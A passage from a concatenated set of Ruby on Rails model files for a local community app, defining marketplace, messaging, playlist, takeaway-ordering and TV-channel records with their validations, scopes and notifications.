'NOK'}\"\n\n  def accept!\n    update!(status: \"accepted\")\n    notify_buyer!(\"Offer accepted\", \"Your offer for #{listing.title} was accepted.\")\n  end\n\n  def decline!\n    update!(status: \"declined\")\n    notify_buyer!(\"Offer declined\", \"Your offer for #{listing.title} was declined.\")\n  end\n\n  private\n\n  def notify_buyer!(title, body)\n    return unless defined?(Notification)\n\n    buyer.notifications.create!(title: title, body: body, source_type: self.class.name, source_id: id)\n  end\nend\n```\n\n## `rails/brgen/app/models/marketplace/saved_search.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::SavedSearch &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :category, class_name: \"Marketplace::Category\", optional: true\n\n  validates :name, length: { maximum: 120 }, allow_blank: true\n  validates :query, length: { maximum: 200 }, allow_blank: true\n\n  def title\n    name.presence || query.presence || category&amp;.name || \"Saved search\"\n  end\nend\n```\n\n## `rails/brgen/app/models/marketplace/store.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  class Store &lt; ApplicationRecord\n    self.table_name = \"marketplace_stores\"\n\n    VERTICALS = %w[\n      groceries homewares furniture electronics fashion beauty sports toys\n      garden automotive pets books health local_services other\n    ].freeze\n\n    belongs_to :owner, class_name: \"User\"\n    has_many :listings, class_name: \"Marketplace::Listing\", dependent: :nullify\n\n    validates :name, presence: true, length: { maximum: 160 }\n    validates :slug, presence: true, uniqueness: true, length: { maximum: 180 }\n    validates :vertical, inclusion: { in: VERTICALS }, allow_blank: true\n    validates :description, length: { maximum: 4_000 }, allow_blank: true\n\n    before_validation :default_slug\n\n    scope :active, -&gt; { where(active: true) }\n    scope :verified, -&gt; { where(verified: true) }\n    scope :by_vertical, -&gt;(vertical) { where(vertical: vertical) if vertical.present? }\n    scope :recent, -&gt; { order(created_at: :desc) }\n\n    def grocery?\n      vertical == \"groceries\"\n    end\n\n    private\n\n    def default_slug\n      self.slug = name.to_s.parameterize if slug.blank? &amp;&amp; name.present?\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/mention.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Mention &lt; ApplicationRecord\n  belongs_to :mentionable, polymorphic: true\n  belongs_to :mentioned_user\nend\n```\n\n## `rails/brgen/app/models/message.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Message &lt; ApplicationRecord\n  belongs_to :conversation\n  belongs_to :sender, class_name: \"User\", foreign_key: :sender_id\n  has_many :message_receipts, dependent: :destroy\n  has_one_attached :attachment\n\n  validates :content, presence: true, length: { maximum: 10_000 }\n  validates :message_type, inclusion: { in: %w[text image file audio] }\n\n  broadcasts_to :conversation, inserts_by: :append, target: \"messages\"\n\n  after_create :deliver_receipts\n  after_create :clear_typing_indicators\n\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  def expired? = expires_at&amp;.past?\n\n  private\n\n  def deliver_receipts\n    conversation.participants.where.not(id: sender_id).each do |u|\n      message_receipts.create!(user: u, delivered_at: Time.now)\n    end\n  end\n\n  def clear_typing_indicators\n    TypingIndicator.where(conversation:, user: sender).delete_all\n  end\nend\n```\n\n## `rails/brgen/app/models/message_receipt.rb`\n```ruby\n# frozen_string_literal: true\n\nclass MessageReceipt &lt; ApplicationRecord\n  belongs_to :message\n  belongs_to :user\nend\n```\n\n## `rails/brgen/app/models/moderation_flag.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ModerationFlag &lt; ApplicationRecord\n  belongs_to :flaggable, polymorphic: true\n  belongs_to :user\n\n  validates :kind, presence: true\n  validates :status, presence: true\nend\n```\n\n## `rails/brgen/app/models/moderation_report.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ModerationReport &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :reportable, polymorphic: true\n\n  REASONS = %w[spam scam abuse unsafe illegal duplicate other].freeze\n  STATUSES = %w[open reviewing resolved dismissed].freeze\n\n  validates :reason, inclusion: { in: REASONS }\n  validates :status, inclusion: { in: STATUSES }\n\n  scope :open, -&gt; { where(status: \"open\") }\n  scope :recent, -&gt; { order(created_at: :desc) }\nend\n```\n\n## `rails/brgen/app/models/neighborhood.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Neighborhood &lt; ApplicationRecord\n  belongs_to :city\n\n  has_many :places, dependent: :destroy\n\n  validates :name, presence: true\n  validates :slug, presence: true\nend\n```\n\n## `rails/brgen/app/models/notification.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Notification &lt; ApplicationRecord\n  KINDS = %w[like reaction follow mention reply message custom].freeze\n\n  belongs_to :user\n  belongs_to :actor, class_name: \"User\", optional: true\n  belongs_to :notifiable, polymorphic: true, optional: true\n\n  validates :kind, inclusion: { in: KINDS }\n\n  scope :unread, -&gt; { where(read_at: nil) }\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  after_create_commit do\n    broadcast_prepend_later_to \"brgen:notifications:#{user_id}\"\n  end\n\n  def read?\n    read_at.present?\n  end\n\n  def mark_as_read!\n    update!(read_at: Time.current)\n  end\n\n  def title\n    actor_name = actor&amp;.display_name || \"Someone\"\n    case kind\n    when \"follow\" then \"#{actor_name} followed you\"\n    when \"like\", \"reaction\" then \"#{actor_name} reacted to your post\"\n    when \"mention\" then \"#{actor_name} mentioned you\"\n    when \"reply\" then \"#{actor_name} replied to your comment\"\n    when \"message\" then \"New message from #{actor_name}\"\n    else \"New notification\"\n    end\n  end\n\n  def body\n    notifiable.try(:content).presence || notifiable.try(:body).presence || \"\"\n  end\nend\n```\n\n## `rails/brgen/app/models/place.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Place &lt; ApplicationRecord\n  belongs_to :city\n  belongs_to :neighborhood, optional: true\n\n  validates :kind, presence: true\n  validates :latitude, presence: true\n  validates :longitude, presence: true\n  validates :name, presence: true\nend\n```\n\n## `rails/brgen/app/models/playlist.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  def self.table_name_prefix\n    \"playlist_\"\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/audio_version.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class AudioVersion &lt; ApplicationRecord\n    self.table_name = \"playlist_audio_versions\"\n\n    belongs_to :track, class_name: \"Playlist::Track\"\n    belongs_to :user, optional: true\n\n    validates :original_filename, length: { maximum: 255 }, allow_blank: true\n    validates :byte_size, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n    scope :recent, -&gt; { order(created_at: :desc) }\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/collaboration.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class Collaboration &lt; ApplicationRecord\n    self.table_name = \"playlist_collaborations\"\n\n    ROLES = %w[owner editor viewer].freeze\n\n    belongs_to :user\n    belongs_to :set, class_name: \"Playlist::Set\", optional: true\n    belongs_to :playlist, class_name: \"Playlist::Playlist\", optional: true\n\n    validates :role, inclusion: { in: ROLES }, allow_blank: true\n    validates :user_id, uniqueness: { scope: %i[set_id playlist_id] }\n\n    before_validation :default_role\n\n    private\n\n    def default_role\n      self.role = \"editor\" if role.blank?\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/dilla_sketch.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::DillaSketch &lt; ApplicationRecord\n  self.table_name = \"playlist_dilla_sketches\"\n\n  belongs_to :user\n  belongs_to :playlist, class_name: \"Playlist::Playlist\", optional: true\n  belongs_to :set, class_name: \"Playlist::Set\", optional: true\n\n  MAX_NAME = 100\n  validates :name, presence: true, length: { maximum: MAX_NAME }\n  validates :state, presence: true\n\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  def to_lab_hash\n    # Compatible with dilla.html #hash encode (pat_, aud_, mix_ expected at top)\n    # state is stored as {pat_, aud_, mix_} or {pat: , ...} \u2014 normalize\n    s = state.deep_symbolize_keys\n    pat = s.fetch(:pat_, nil) || s.fetch(:pat, nil)\n    aud = s.fetch(:aud_, nil) || s.fetch(:aud, nil)\n    mix = s.fetch(:mix_, nil) || s.fetch(:mix, nil)\n    if pat || aud || mix\n      { pat_: pat, aud_: aud, mix_: mix }\n    else\n      s\n    end\n  end\n\n  def lab_url(base = \"/dilla/dilla.html\")\n    hash = encode_lab_state\n    return base if hash.blank?\n    \"#{base}##{hash}\"\n  end\n\n  def encode_lab_state\n    JSON.dump(to_lab_hash).then { |s| Base64.strict_encode64(s) }\n  rescue StandardError =&gt; e\n    # Swallow for user-facing share; errors are non-fatal for encode\n    \"\"\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/like.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class Like &lt; ApplicationRecord\n    self.table_name = \"playlist_likes\"\n\n    belongs_to :user\n    belongs_to :set, class_name: \"Playlist::Set\", optional: true\n    belongs_to :playlist, class_name: \"Playlist::Playlist\", optional: true\n\n    validates :user_id, uniqueness: { scope: %i[set_id playlist_id] }\n    validate :target_present\n\n    private\n\n    def target_present\n      errors.add(:base, \"playlist target required\") if set_id.blank? &amp;&amp; playlist_id.blank?\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/listen.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::Listen &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :track, class_name: \"Playlist::Track\", foreign_key: :playlist_track_id\n\n  after_create :increment_plays\n\n  private\n  def increment_plays\n    track.playlists.each { |pl| pl.increment!(:plays_count) }\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/playlist.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::Playlist &lt; ApplicationRecord\n  belongs_to :user\n  has_many :playlist_tracks, class_name: \"Playlist::PlaylistTrack\",\n           foreign_key: :playlist_playlist_id, dependent: :destroy\n  has_many :tracks, through: :playlist_tracks, class_name: \"Playlist::Track\",\n           source: :track\n  has_many :collaborations, class_name: \"Playlist::Collaboration\", dependent: :destroy\n  has_many :collaborators, through: :collaborations, source: :user\n  has_many :dilla_sketches, class_name: \"Playlist::DillaSketch\", dependent: :destroy\n\n  validates :name, presence: true, length: { maximum: 100 }\n\n  scope :public_playlists, -&gt; { where(public_access: true) }\n  scope :popular,           -&gt; { order(plays_count: :desc) }\n  scope :recent,            -&gt; { order(created_at: :desc) }\n\n  def add_track!(track, user:)\n    playlist_track = playlist_tracks.find_or_initialize_by(track: track)\n    return playlist_track if playlist_track.persisted?\n\n    position = playlist_tracks.maximum(:position).to_i + 1\n    playlist_track.position = position\n    playlist_track.user = user\n    playlist_track.save!\n    increment!(:tracks_count)\n    playlist_track\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/playlist_track.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::PlaylistTrack &lt; ApplicationRecord\n  belongs_to :playlist, class_name: \"Playlist::Playlist\", foreign_key: :playlist_playlist_id\n  belongs_to :track,    class_name: \"Playlist::Track\",    foreign_key: :playlist_track_id\n  belongs_to :user\n\n  validates :playlist_playlist_id, uniqueness: { scope: :playlist_track_id }\n  default_scope { order(:position) }\nend\n```\n\n## `rails/brgen/app/models/playlist/set.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class Set &lt; ApplicationRecord\n    self.table_name = \"playlist_sets\"\n\n    PRIVACY_LEVELS = %w[public private unlisted].freeze\n\n    belongs_to :user\n    has_many :tracks, -&gt; { order(:position) }, class_name: \"Playlist::Track\", dependent: :destroy\n    has_many :collaborations, class_name: \"Playlist::Collaboration\", dependent: :destroy\n    has_many :collaborators, through: :collaborations, source: :user\n    has_many :dilla_sketches, class_name: \"Playlist::DillaSketch\", dependent: :destroy\n    has_many :likes, class_name: \"Playlist::Like\", dependent: :destroy\n\n    validates :name, presence: true\n    validates :privacy, inclusion: { in: PRIVACY_LEVELS }, allow_blank: true\n\n    scope :visible, -&gt; { where(privacy: [nil, \"public\", \"unlisted\"]) }\n    scope :publicly_listed, -&gt; { where(privacy: [nil, \"public\"]) }\n\n    def total_duration\n      tracks.sum(:duration).to_i\n    end\n\n    def formatted_duration\n      seconds = total_duration\n      hours = seconds / 3600\n      minutes = (seconds % 3600) / 60\n      rest = seconds % 60\n      hours.positive? ? format(\"%d:%02d:%02d\", hours, minutes, rest) : format(\"%d:%02d\", minutes, rest)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/set_track.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class SetTrack &lt; ApplicationRecord\n    self.table_name = \"playlist_set_tracks\"\n\n    belongs_to :set, class_name: \"Playlist::Set\", foreign_key: :playlist_set_id\n    belongs_to :track, class_name: \"Playlist::Track\", foreign_key: :playlist_track_id\n    belongs_to :user\n\n    validates :playlist_set_id, uniqueness: { scope: :playlist_track_id }\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/timestamped_comment.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class TimestampedComment &lt; ApplicationRecord\n    self.table_name = \"playlist_timestamped_comments\"\n\n    belongs_to :track, class_name: \"Playlist::Track\"\n    belongs_to :user\n\n    validates :body, presence: true, length: { maximum: 2_000 }\n    validates :timestamp_seconds, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n    scope :chronological, -&gt; { order(:timestamp_seconds, :created_at) }\n\n    after_create_commit do\n      broadcast_append_later_to \"playlist:track:#{track_id}:comments\"\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/playlist/track.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::Track &lt; ApplicationRecord\n  has_many :playlist_tracks, class_name: \"Playlist::PlaylistTrack\",\n           foreign_key: :playlist_track_id, dependent: :destroy\n  has_many :playlists, through: :playlist_tracks, class_name: \"Playlist::Playlist\"\n  has_many :listens, class_name: \"Playlist::Listen\",\n           foreign_key: :playlist_track_id, dependent: :destroy\n  has_many :timestamped_comments, class_name: \"Playlist::TimestampedComment\",\n           foreign_key: :track_id, dependent: :destroy\n  has_many :audio_versions, class_name: \"Playlist::AudioVersion\",\n           foreign_key: :track_id, dependent: :destroy\n  has_one_attached :audio_file\n  has_one_attached :artwork\n\n  SOURCE_TYPES = %w[upload youtube spotify soundcloud direct].freeze\n  PRIVACY_LEVELS = %w[private unlisted public].freeze\n\n  validates :title, presence: true\n  validates :artist, presence: true, allow_blank: true\n  validates :source_type, inclusion: { in: SOURCE_TYPES }, allow_nil: true\n  validates :privacy, inclusion: { in: PRIVACY_LEVELS }, allow_blank: true\n\n  before_validation :default_audio_hosting_fields\n\n  scope :publicly_visible, -&gt; { where(privacy: \"public\") }\n  scope :unexpired, -&gt; { where(\"expires_at IS NULL OR expires_at &gt; ?\", Time.current) }\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  def duration_formatted\n    return \"\u2014\" unless duration_seconds\n    min, sec = duration_seconds.divmod(60)\n    \"#{min}:%02d\" % sec\n  end\n\n  def replace_audio!(file, actor: nil)\n    if audio_file.attached?\n      audio_versions.create!(user: actor, original_filename: audio_file.filename.to_s, byte_size: audio_file.byte_size)\n    end\n\n    audio_file.attach(file)\n    touch(:audio_replaced_at)\n  end\n\n  def expired?\n    expires_at.present? &amp;&amp; expires_at &lt;= Time.current\n  end\n\n  private\n\n  def default_audio_hosting_fields\n    self.source_type = \"upload\" if source_type.blank?\n    self.privacy = \"private\" if privacy.blank?\n  end\nend\n```\n\n## `rails/brgen/app/models/post.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Post &lt; ApplicationRecord\n  include Votable\n\n  has_one_attached :image\n\n  belongs_to :user\n  belongs_to :community, optional: true\n\n  has_many :comments, as: :commentable, dependent: :destroy\n  has_many :votes, as: :votable, dependent: :destroy\n  has_many :taggings, dependent: :destroy\n  has_many :hashtags, through: :taggings\n  has_many :mentions, dependent: :destroy\n\n  validates :title,   presence: true, length: { maximum: 300 }\n  validates :content, length: { maximum: 40_000 }\n\n  broadcasts_refreshes\n\n  VOTE_SQL = Arel.sql(\"SUM(COALESCE(votes.value,0)) DESC, posts.created_at DESC\")\n  TOP_SQL  = Arel.sql(\"SUM(COALESCE(votes.value,0)) DESC\")\n\n  scope :hot,    -&gt; { left_joins(:votes).group(:id).order(VOTE_SQL) }\n  scope :fresh,  -&gt; { order(created_at: :desc) }\n  scope :top,    -&gt; { left_joins(:votes).group(:id).order(TOP_SQL) }\n  scope :search, -&gt;(q) {\n    ids = connection.select_values(sanitize_sql_array([\"SELECT rowid FROM posts_fts WHERE posts_fts MATCH ?\", q]))\n    ids.any? ? where(id: ids) : none\n  }\n\n  def comment_count = comments.count\n  def author_name   = (anonymous? || user&amp;.guest?) ? \"anon\" : (user&amp;.username.presence || \"anon\")\nend\n```\n\n## `rails/brgen/app/models/push_subscription.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PushSubscription &lt; ApplicationRecord\n  belongs_to :user\n  validates :endpoint, presence: true, uniqueness: { scope: :user_id }\n  validates :p256dh, :auth, presence: true\nend\n```\n\n## `rails/brgen/app/models/reaction.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Reaction &lt; ApplicationRecord\n  KINDS = %w[like love laugh wow sad angry local].freeze\n\n  belongs_to :user\n  belongs_to :reactable, polymorphic: true, optional: true\n  belongs_to :post, optional: true\n\n  validates :kind, inclusion: { in: KINDS }, allow_blank: true\n  validates :user_id, uniqueness: { scope: %i[reactable_type reactable_id post_id kind] }\n\n  before_validation :backfill_reactable_from_post\n\n  after_create_commit { broadcast_replace_later_to stream_name }\n  after_destroy_commit { broadcast_replace_later_to stream_name }\n\n  def target\n    reactable || post\n  end\n\n  private\n\n  def backfill_reactable_from_post\n    self.reactable ||= post if post\n    self.kind = \"like\" if kind.blank?\n  end\n\n  def stream_name\n    target ? \"brgen:reactions:#{target.class.name}:#{target.id}\" : \"brgen:reactions\"\n  end\nend\n```\n\n## `rails/brgen/app/models/reputation_score.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReputationScore &lt; ApplicationRecord\n  belongs_to :user\n\n  validates :scope, presence: true\nend\n```\n\n## `rails/brgen/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/brgen/app/models/stream.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Stream &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :post\nend\n```\n\n## `rails/brgen/app/models/tagging.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tagging &lt; ApplicationRecord\n  belongs_to :taggable, polymorphic: true\n  belongs_to :hashtag\nend\n```\n\n## `rails/brgen/app/models/takeaway.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Takeaway\n  def self.table_name_prefix\n    \"takeaway_\"\n  end\nend\n```\n\n## `rails/brgen/app/models/takeaway/delivery_driver.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Takeaway\n  class DeliveryDriver &lt; ApplicationRecord\n    self.table_name = \"takeaway_delivery_drivers\"\n\n    VEHICLE_TYPES = %w[bicycle scooter car van walking].freeze\n\n    belongs_to :user\n    has_many :orders, class_name: \"Takeaway::Order\", dependent: :nullify\n\n    validates :vehicle_type, inclusion: { in: VEHICLE_TYPES }, allow_blank: true\n    validates :license_number, length: { maximum: 128 }, allow_blank: true\n\n    scope :available, -&gt; { where(available: true) }\n    scope :nearby, -&gt;(lat, lng, km = 10) {\n      return all if lat.blank? || lng.blank?\n\n      where(current_lat: (lat.to_f - km.to_f / 111)..(lat.to_f + km.to_f / 111))\n        .where(current_lng: (lng.to_f - km.to_f / 111)..(lng.to_f + km.to_f / 111))\n    }\n\n    def location?\n      current_lat.present? &amp;&amp; current_lng.present?\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/takeaway/favorite_restaurant.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::FavoriteRestaurant &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :restaurant, class_name: \"Takeaway::Restaurant\"\n\n  validates :user_id, uniqueness: { scope: :restaurant_id }\nend\n```\n\n## `rails/brgen/app/models/takeaway/menu_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::MenuItem &lt; ApplicationRecord\n  belongs_to :restaurant, class_name: \"Takeaway::Restaurant\"\n  has_one_attached :photo\n\n  validates :name, :price_cents, presence: true\n  validates :price_cents, numericality: { greater_than: 0 }\n\n  scope :available, -&gt; { where(available: true) }\n\n  def price_display = \"#{price_cents / 100.0} NOK\"\nend\n```\n\n## `rails/brgen/app/models/takeaway/order.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::Order &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :restaurant, class_name: \"Takeaway::Restaurant\"\n  has_many :order_items, class_name: \"Takeaway::OrderItem\", dependent: :destroy\n  has_many :reviews, class_name: \"Takeaway::Review\", dependent: :destroy\n\n  STATUSES = %w[pending confirmed preparing out_for_delivery delivered cancelled].freeze\n  TERMINAL_STATUSES = %w[delivered cancelled].freeze\n  CENTS_PER_KRONE = 100.0\n\n  validates :status, inclusion: { in: STATUSES }\n  validates :delivery_address, presence: true\n\n  before_validation { self.status ||= \"pending\" }\n\n  scope :active, -&gt; { where.not(status: TERMINAL_STATUSES) }\n  scope :recent, -&gt; { order(created_at: :desc) }\n\n  def calculate_totals!\n    sub = order_items.sum { |oi| oi.unit_price_cents * oi.quantity }\n    fee = restaurant.delivery_fee_cents.to_i\n    update!(subtotal_cents: sub, delivery_fee_cents: fee, total_cents: sub + fee)\n  end\n\n  def advance_status!\n    idx = STATUSES.index(status)\n    return unless idx &amp;&amp; idx &lt; STATUSES.length - 1\n\n    update!(status: STATUSES[idx + 1])\n    notify_customer!(\"Order #{status.humanize.downcase}\")\n    record_status_activity!\n  end\n\n  def advanceable?\n    STATUSES.include?(status) &amp;&amp; TERMINAL_STATUSES.exclude?(status)\n  end\n\n  def subtotal_display\n    amount_display(subtotal_cents)\n  end\n\n  def delivery_fee_display\n    amount_display(delivery_fee_cents)\n  end\n\n  def total_display\n    amount_display(total_cents)\n  end\n\n  private\n\n  def amount_display(cents)\n    format(\"%.2f NOK\", cents.to_i / CENTS_PER_KRONE)\n  end\n\n  def notify_customer!(title)\n    return unless defined?(Notification)\n\n    user.notifications.create!(\n      title: title,\n      body: \"Your order from #{restaurant.name} is now #{status.humanize.downcase}.\",\n      source_type: self.class.name,\n      source_id: id\n    )\n  end\n\n  def record_status_activity!\n    return unless defined?(ActivityEventRecorder)\n\n    ActivityEventRecorder.call(\n      actor: restaurant.user,\n      event_name: \"TakeawayOrderUpdated\",\n      object: self,\n      source_vertical: \"takeaway\",\n      locality: restaurant.city,\n      visibility: \"private\"\n    )\n  end\nend\n```\n\n## `rails/brgen/app/models/takeaway/order_item.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::OrderItem &lt; ApplicationRecord\n  belongs_to :order,     class_name: \"Takeaway::Order\"\n  belongs_to :menu_item, class_name: \"Takeaway::MenuItem\"\n\n  validates :quantity, numericality: { greater_than: 0 }\n\n  def subtotal_cents = unit_price_cents * quantity\n  def subtotal_display = \"#{subtotal_cents / 100.0} NOK\"\nend\n```\n\n## `rails/brgen/app/models/takeaway/restaurant.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::Restaurant &lt; ApplicationRecord\n  belongs_to :user\n  has_many :menu_items, class_name: \"Takeaway::MenuItem\", dependent: :destroy\n  has_many :orders, class_name: \"Takeaway::Order\", dependent: :destroy\n  has_many :favorites, class_name: \"Takeaway::FavoriteRestaurant\", dependent: :destroy\n  has_many :reviews, class_name: \"Takeaway::Review\", dependent: :destroy\n\n  CUISINE_TYPES = %w[Norwegian Italian Chinese Japanese Indian Thai Mexican Pizza Burger Kebab Sushi Vegetarian Vegan].freeze\n  CENTS_PER_KRONE = 100.0\n\n  validates :name, :address, :cuisine_type, presence: true\n  validates :delivery_fee_cents, :min_order_cents,\n            numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n  scope :active, -&gt; { where(active: true) }\n  scope :popular, -&gt; { order(rating: :desc) }\n\n  def owner?(account)\n    user_id == account&amp;.id\n  end\n\n  def delivery_fee_display\n    format(\"%.2f NOK\", delivery_fee_cents.to_i / CENTS_PER_KRONE)\n  end\n\n  def min_order_display\n    format(\"%.2f NOK\", min_order_cents.to_i / CENTS_PER_KRONE)\n  end\n\n  def update_rating!\n    avg = reviews.average(:rating)\n    update_columns(rating: avg&amp;.round(1) || 0)\n  end\nend\n```\n\n## `rails/brgen/app/models/takeaway/review.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Takeaway::Review &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :order, class_name: \"Takeaway::Order\"\n  belongs_to :restaurant, class_name: \"Takeaway::Restaurant\", counter_cache: :reviews_count\n\n  validates :rating, presence: true, inclusion: { in: 1..5 }\n  validates :order_id, uniqueness: { scope: :user_id }, allow_nil: true\n\n  after_commit :refresh_restaurant_rating, on: %i[create destroy]\n\n  private\n\n  def refresh_restaurant_rating\n    restaurant&amp;.update_rating!\n  end\nend\n```\n\n## `rails/brgen/app/models/trust_signal.rb`\n```ruby\n# frozen_string_literal: true\n\nclass TrustSignal &lt; ApplicationRecord\n  belongs_to :user\n\n  validates :kind, presence: true\nend\n```\n\n## `rails/brgen/app/models/tv.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  def self.table_name_prefix\n    \"tv_\"\n  end\nend\n```\n\n## `rails/brgen/app/models/tv/broadcast.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::Broadcast &lt; ApplicationRecord\n  belongs_to :channel, class_name: \"Tv::Channel\", foreign_key: :tv_channel_id\n  belongs_to :user\n  has_one_attached :thumbnail\n\n  validates :title, presence: true\n  before_create { self.stream_key = SecureRandom.hex(16) }\n\n  scope :live,      -&gt; { where(status: \"live\") }\n  scope :scheduled, -&gt; { where(status: \"scheduled\") }\n\n  def go_live!  = update!(status: \"live\",  started_at: Time.current)\n  def end_live! = update!(status: \"ended\", ended_at: Time.current)\nend\n```\n\n## `rails/brgen/app/models/tv/channel.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::Channel &lt; ApplicationRecord\n  belongs_to :user\n  has_many :videos,        class_name: \"Tv::Video\",        foreign_key: :tv_channel_id, dependent: :destroy\n  has_many :broadcasts,    class_name: \"Tv::Broadcast\",    foreign_key: :tv_channel_id, dependent: :destroy\n  has_many :subscriptions, class_name: \"Tv::Subscription\", foreign_key: :tv_channel_id, dependent: :destroy\n  has_many :subscribers,   through: :subscriptions, source: :user\n  has_one_attached :banner\n  has_one_attached :avatar\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true, format: { with: /\\A[a-z0-9_-]+\\z/ }\n  before_validation { self.slug ||= name.to_s.parameterize }\n\n  scope :popular, -&gt; { order(subscribers_count: :desc) }\n\n  def to_param = slug\n  def live?    = broadcasts.where(status: \"live\").exists?\nend\n```\n\n## `rails/brgen/app/models/tv/comment.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::Comment &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :video, class_name: \"Tv::Video\"\n\n  validates :body, presence: true, length: { maximum: 1_000 }\nend\n```\n\n## `rails/brgen/app/models/tv/live_stream.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class LiveStream &lt; ApplicationRecord\n    self.table_name = \"tv_live_streams\"\n\n    STATUSES = %w[scheduled live ended cancelled].freeze\n\n    belongs_to :user\n    belongs_to :channel, class_name: \"Tv::Channel\", optional: true\n    has_many :stream_chats, class_name: \"Tv::StreamChat\", dependent: :destroy\n\n    validates :title, presence: true\n    validates :status, inclusion: { in: STATUSES }, allow_blank: true\n    validates :stream_key, presence: true, uniqueness: true, allow_blank: true\n\n    before_validation :default_status\n\n    scope :live, -&gt; { where(status: \"live\") }\n    scope :scheduled, -&gt; { where(status: \"scheduled\") }\n    scope :recent, -&gt; { order(updated_at: :desc) }\n\n    def go_live!\n      update!(status: \"live\", started_at: Time.current)\n    end\n\n    def end_live!\n      update!(status: \"ended\", ended_at: Time.current)\n    end\n\n    private\n\n    def default_status\n      self.status = \"scheduled\" if status.blank?\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/tv/stream_chat.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class StreamChat &lt; ApplicationRecord\n    self.table_name = \"tv_stream_chats\"\n\n    belongs_to :live_stream, class_name: \"Tv::LiveStream\"\n    belongs_to :user\n\n    validates :message, presence: true, length: { maximum: 1_000 }\n\n    scope :chronological, -&gt; { order(:created_at) }\n\n    after_create_commit do\n      broadcast_append_later_to \"tv:live_stream:#{live_stream_id}:entries\"\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/tv/subscription.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::Subscription &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :channel, class_name: \"Tv::Channel\", foreign_key: :tv_channel_id\n  validates :user_id, uniqueness: { scope: :tv_channel_id }\nend\n```\n\n## `rails/brgen/app/models/tv/video.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::Video &lt; ApplicationRecord\n  belongs_to :channel,     class_name: \"Tv::Channel\",   foreign_key: :tv_channel_id\n  belongs_to :user\n  has_many :view_events,   class_name: \"Tv::ViewEvent\", foreign_key: :tv_video_id, dependent: :destroy\n  has_many :video_notes,   class_name: \"Tv::VideoNote\", foreign_key: :video_id, dependent: :destroy\n  has_many :comments,      class_name: \"Tv::Comment\", dependent: :destroy\n  has_one_attached :video_file\n  has_one_attached :thumbnail\n\n  STATUSES = %w[processing ready published unlisted].freeze\n  validates :title, presence: true\n  validates :status, inclusion: { in: STATUSES }, allow_nil: true\n\n  scope :published, -&gt; { where(status: 